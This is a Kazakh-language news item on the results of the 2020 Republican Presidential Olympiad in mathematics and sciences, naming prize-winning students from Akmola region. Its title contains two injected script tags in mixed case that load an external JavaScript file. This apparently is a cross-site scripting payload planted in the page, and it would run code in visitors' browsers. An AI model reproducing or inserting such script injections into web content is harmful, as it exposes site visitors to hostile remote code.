Жаратылыстану-математикалық бағыттағы пәндері бойынша Республикалық ХІІІ Президенттік олимпиадасы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

14.12.2020

Қазақстан Республикасы Білім және ғылым министрлігі «Дарын» республикалық ғылыми-практикалық орталығының ұйымдастыруымен 2020 жылдың 3-4 желтоқсан күндері 11 сынып оқушылары арасында онлайн режимінде «жаратылыстану-математикалық бағыттағы пәндер бойынша Республикалық XIIІ Президенттік олимпиадасының қорытынды кезеңі өткізілді.

Президенттік олимпиаданың мақсаты мен міндеттері:

- орта білім беру ұйымдарының оқушылары арасында математика, физика, химия және биологиядан дарынды оқушыларды анықтау үшін кәсіптік бағдар мен болашақтағы интеллектуалдық дамуына қолайлы жағдай жасау;

- жаратылыстану-математикалық бағыттағы пәндерді оқытуда оқушылардың қызығушылығын арттыру, теориялық білімдері мен дағдыларын тереңдету;

- тұлғаның өзін-өзі жетілдіруіне және дамытуына жағдай жасау.

Олимпиаданың әр қатысушысы тест тапсырмаларды математика, физика, химия, биология пәндері бойынша орындады. Олимпиаданың  қорытынды кезеңіне Ақмола облысынан 14 оқушы қатысып, 5 оқушы жүлделі орындарға ие болды.

1. «Дарын» республикалық ғылыми-практикалық орталығының І дәрежелі дипломына Жанабек Аян - Көкшетау қаласы, Абай атындағы дарынды балаларға арналған № 3 облыстық мамандандырылған мектеп-интернатының 11 сынып оқушысы ие болды;
2. ІІ дәрежелі димломға Амангельды Майра - Көкшетау қаласы, Абай атындағы дарынды балаларға арналған № 3 облыстық мамандандырылған мектеп-интернатының 11 сынып оқушысы ие болды;
3. ІІІ дәрежелі димломға Мақсұт Жазира - Нұр-Сұлтан қаласы, дарынды балаларға арналған №2 облыстық мамандандырылған мектеп-интернатының 11 сынып оқушысы ие болды;
4. ІІІ дәрежелі димломға Дубовик Дарья - Бұланды ауданы, Макинск қаласының мектеп-гимназиясының 11 сынып оқушысы ие болды;
5. ІІІ дәрежелі димломға Альберг Анастасия - Бұланды ауданы, Макинск қаласының мектеп-гимназиясының 11 сынып оқушысы ие болды.

Президенттік олимпиаданың қорытынды кезеңінің барлық қатысушыларына сертификаттар табысталады. Сонымен қатар, олимпиада жүлдегерлерінің пән мұғалімдері «Дарын» республикалық ғылыми-практикалық орталығының Алғыс хаттарымен марапатталады.

Ақмола облысының жеңімпаздары мен жүлдегерлерін шын жүректен құттықтаймыз.